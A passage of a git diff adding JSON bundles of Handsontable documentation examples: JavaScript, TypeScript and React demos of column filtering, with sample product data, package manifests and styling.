    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleServerSideFilter');\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n height: 'auto',\n // `beforeFilter()` is a Handsontable hook\n // it's fired after Handsontable gathers information about the filters, but before the filters are applied\n beforeFilter(conditionsStack) {\n // gather information about the filters\n console.log(`The amount of filters: ${conditionsStack.length}`);\n\n // when the filters are cleared, the conditions stack is empty\n const [lastChanged] = conditionsStack;\n\n if (lastChanged) {\n console.log(`The last changed column index: ${lastChanged.column}`);\n console.log(`The amount of filters added to this column: ${lastChanged.conditions.length}`);\n // the list of filter conditions\n console.log(lastChanged.conditions);\n }\n\n // return `false` to disable filtering on the client side\n return false;\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-filter/javascript/exampleServerSideFilter.js","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleServerSideFilter","exampleTitle":"Server-side filtering","docPermalink":"/column-filter","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleServerSideFilter.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleServerSideFilter.ts.json new file mode 100644 index 00000000..e7ce0387 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleServerSideFilter.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column filter · Server-side filtering · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleServerSideFilter')!;\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu\n dropdownMenu: true,\n height: 'auto',\n // `beforeFilter()` is a Handsontable hook\n // it's fired after Handsontable gathers information about the filters, but before the filters are applied\n beforeFilter(conditionsStack) {\n // gather information about the filters\n console.log(`The amount of filters: ${conditionsStack.length}`);\n\n // when the filters are cleared, the conditions stack is empty\n const [lastChanged] = conditionsStack;\n\n if (lastChanged) {\n console.log(`The last changed column index: ${lastChanged.column}`);\n console.log(`The amount of filters added to this column: ${lastChanged.conditions.length}`);\n // the list of filter conditions\n console.log(lastChanged.conditions);\n }\n\n // return `false` to disable filtering on the client side\n return false;\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-filter/javascript/exampleServerSideFilter.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleServerSideFilter","exampleTitle":"Server-side filtering","docPermalink":"/column-filter","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleShowFilterItemsOnly.js.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleShowFilterItemsOnly.js.json new file mode 100644 index 00000000..d2325800 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleShowFilterItemsOnly.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Columns ▸ Column filter · Enable filtering · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleShowFilterItemsOnly');\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu, but display only the filter menu items\n dropdownMenu: ['filter_by_condition', 'filter_by_value', 'filter_action_bar'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-filter/javascript/exampleShowFilterItemsOnly.js","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleShowFilterItemsOnly","exampleTitle":"Enable filtering","docPermalink":"/column-filter","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleShowFilterItemsOnly.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleShowFilterItemsOnly.ts.json new file mode 100644 index 00000000..f34cd424 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__javascript__exampleShowFilterItemsOnly.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Columns ▸ Column filter · Enable filtering · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleShowFilterItemsOnly')!;\n\nnew Handsontable(container, {\n data: [\n {\n brand: 'Jetpulse',\n model: 'Racing Socks',\n price: 30,\n sellDate: '2023-10-11',\n sellTime: '01:23',\n inStock: false,\n },\n {\n brand: 'Gigabox',\n model: 'HL Mountain Frame',\n price: 1890.9,\n sellDate: '2023-05-03',\n sellTime: '11:27',\n inStock: false,\n },\n {\n brand: 'Camido',\n model: 'Cycling Cap',\n price: 130.1,\n sellDate: '2023-03-27',\n sellTime: '03:17',\n inStock: true,\n },\n {\n brand: 'Chatterpoint',\n model: 'Road Tire Tube',\n price: 59,\n sellDate: '2023-08-28',\n sellTime: '08:01',\n inStock: true,\n },\n {\n brand: 'Eidel',\n model: 'HL Road Tire',\n price: 279.99,\n sellDate: '2023-10-02',\n sellTime: '01:23',\n inStock: true,\n },\n ],\n columns: [\n {\n title: 'Brand',\n type: 'text',\n data: 'brand',\n },\n {\n title: 'Model',\n type: 'text',\n data: 'model',\n },\n {\n title: 'Price',\n type: 'numeric',\n data: 'price',\n locale: 'en-US',\n numericFormat: {\n style: 'currency',\n currency: 'USD',\n minimumFractionDigits: 2,\n },\n },\n {\n title: 'Date',\n type: 'intl-date',\n data: 'sellDate',\n locale: 'en-US',\n dateFormat: { month: 'short', day: 'numeric', year: 'numeric' },\n className: 'htRight',\n },\n {\n title: 'Time',\n type: 'intl-time',\n data: 'sellTime',\n locale: 'en-US',\n timeFormat: { hour: '2-digit', minute: '2-digit', hour12: true },\n className: 'htRight',\n },\n {\n title: 'In stock',\n type: 'checkbox',\n data: 'inStock',\n className: 'htCenter',\n },\n ],\n // enable filtering\n filters: true,\n // enable the column menu, but display only the filter menu items\n dropdownMenu: ['filter_by_condition', 'filter_by_value', 'filter_action_bar'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-filter/javascript/exampleShowFilterItemsOnly.ts","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleShowFilterItemsOnly","exampleTitle":"Enable filtering","docPermalink":"/column-filter","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleCustomFilterButton.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleCustomFilterButton.tsx.json new file mode 100644 index 00000000..8cbb5767 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleCustomFilterButton.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column filter · Customize the filter button · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport \"./styles.css\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleCustomFilterButton\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;","/src/styles.css":".handsontable.customFilterButtonExample1 .changeType {\n --ht-icon-button-background-color: #e2e2e263;\n --ht-icon-button-border-radius: 100%;\n}\n\n.handsontable.customFilterButtonExample1 .changeType::before {\n -webkit-mask-image: url(\"data:image/svg+xml,%3Csvg width=%2716%27 height=%2716%27 viewBox=%270 0 16 16%27 fill=%27none%27 xmlns=%27http://www.w3.org/2000/svg%27%3E%3Cpath d=%27M6.83337 7.99984C6.83337 8.30926 6.95629 8.606 7.17508 8.8248C7.39388 9.04359 7.69062 9.1665 8.00004 9.1665C8.30946 9.1665 8.60621 9.04359 8.825 8.8248C9.04379 8.606 9.16671 8.30926 9.16671 7.99984C9.16671 7.69042 9.04379 7.39367 8.825 7.17488C8.60621 6.95609 8.30946 6.83317 8.00004 6.83317C7.69062 6.83317 7.39388 6.95609 7.17508 7.17488C6.95629 7.39367 6.83337 7.69042 6.83337 7.99984Z%27 fill=%27%23222222%27/%3E%3Cpath d=%27M6.83337 12.4165C6.83337 12.7259 6.95629 13.0227 7.17508 13.2415C7.39388 13.4603 7.69062 13.5832 8.00004 13.5832C8.30946 13.5832 8.60621 13.4603 8.825 13.2415C9.04379 13.0227 9.16671 12.7259 9.16671 12.4165C9.16671 12.1071 9.04379 11.8103 8.825 11.5915C8.60621 11.3728 8.30946 11.2498 8.00004 11.2498C7.69062 11.2498 7.39388 11.3728 7.17508 11.5915C6.95629 11.8103 6.83337 12.1071 6.83337 12.4165Z%27 fill=%27%23222222%27/%3E%3Cpath d=%27M6.83337 3.58317C6.83337 3.89259 6.95629 4.18934 7.17508 4.40813C7.39388 4.62692 7.69062 4.74984 8.00004 4.74984C8.30946 4.74984 8.60621 4.62692 8.825 4.40813C9.04379 4.18934 9.16671 3.89259 9.16671 3.58317C9.16671 3.27375 9.04379 2.97701 8.825 2.75821C8.60621 2.53942 8.30946 2.4165 8.00004 2.4165C7.69062 2.4165 7.39388 2.53942 7.17508 2.75821C6.95629 2.97701 6.83337 3.27375 6.83337 3.58317Z%27 fill=%27currentColor%27/%3E%3C/svg%3E\");\n}"},"docsPath":"guides/columns/column-filter/react/exampleCustomFilterButton.tsx","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleCustomFilterButton","exampleTitle":"Customize the filter button","docPermalink":"/column-filter","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleCustomFilterButton2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleCustomFilterButton2.tsx.json new file mode 100644 index 00000000..9917ca61 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleCustomFilterButton2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column filter · Customize the filter button (3) · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport \"./styles.css\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleCustomFilterButton2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;","/src/styles.css":"/* hide the column menu button by default */\n.customFilterButtonExample2 .changeType {\n visibility: hidden;\n}\n\n/* show the column menu button on hover */\n.customFilterButtonExample2 th .relative:hover .changeType {\n visibility: visible;\n}"},"docsPath":"guides/columns/column-filter/react/exampleCustomFilterButton2.tsx","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleCustomFilterButton2","exampleTitle":"Customize the filter button (3)","docPermalink":"/column-filter","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleEnableFilterInColumns.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleEnableFilterInColumns.tsx.json new file mode 100644 index 00000000..11028f4a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleEnableFilterInColumns.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column filter · Enable filtering for individual columns · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleEnableFilterInColumns\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n // remove the column menu button from the 'Brand', 'Price', and 'Date' columns\n const removeColumnMenuButton = (col: number, TH: { querySelector: (value: string) => any }) => {\n if (col > 1) {\n const button = TH.querySelector('.changeType');\n\n if (!button) {\n return;\n }\n\n button.parentElement.removeChild(button);\n }\n };\n\n return (\n 0;\n },\n },\n filter_action_bar: {\n // hide the 'OK' and 'Cancel' buttons from all columns but the first one\n hidden() {\n return this.getSelectedRangeLast()!.to.col > 0;\n },\n },\n clear_column: {\n // hide the 'Clear column' menu item from the first column\n hidden() {\n return this.getSelectedRangeLast()!.to.col < 1;\n },\n },\n },\n }}\n // `afterGetColHeader()` is a Handsontable hook\n // it's fired after Handsontable appends information about a column header to the table header\n afterGetColHeader={removeColumnMenuButton}\n height=\"auto\"\n autoWrapRow={true}\n autoWrapCol={true}\n licenseKey=\"non-commercial-and-evaluation\"\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-filter/react/exampleEnableFilterInColumns.tsx","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleEnableFilterInColumns","exampleTitle":"Enable filtering for individual columns","docPermalink":"/column-filter","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleExcludeRowsFromFiltering.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleExcludeRowsFromFiltering.tsx.json new file mode 100644 index 00000000..c62f6f1e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleExcludeRowsFromFiltering.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column filter · Exclude rows from filtering · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleExcludeRowsFromFiltering\"));\nroot.render(React.createElement(App));","/src/App.tsx":"// you need `useRef` to call Handsontable's instance methods\nimport { useRef } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotTableComponentRef = useRef(null);\n const exclude = () => {\n const hotInstance = hotTableComponentRef.current?.hotInstance;\n // @ts-ignore\n const filtersRowsMap = hotInstance?.getPlugin('filters').filtersRowsMap;\n\n filtersRowsMap.setValueAtIndex(0, false);\n filtersRowsMap.setValueAtIndex(filtersRowsMap.getLength() - 1, false);\n };\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-filter/react/exampleExcludeRowsFromFiltering.tsx","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleExcludeRowsFromFiltering","exampleTitle":"Exclude rows from filtering","docPermalink":"/column-filter","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleFilterBasicDemo.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleFilterBasicDemo.tsx.json new file mode 100644 index 00000000..01c629b8 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleFilterBasicDemo.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column filter · Filtering demo · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from 